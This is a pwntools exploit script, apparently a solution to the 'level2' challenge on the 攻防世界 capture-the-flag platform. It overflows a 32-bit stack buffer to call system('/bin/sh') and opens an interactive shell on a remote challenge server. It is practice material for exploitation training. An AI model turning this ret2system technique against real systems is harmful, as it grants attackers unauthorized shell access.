攻防世界 | level2

# ! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('leve2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io = remote('111.198.29.45',53269)
io.sendlineafter("Input:\n", payload)
io.interactive()
io.close()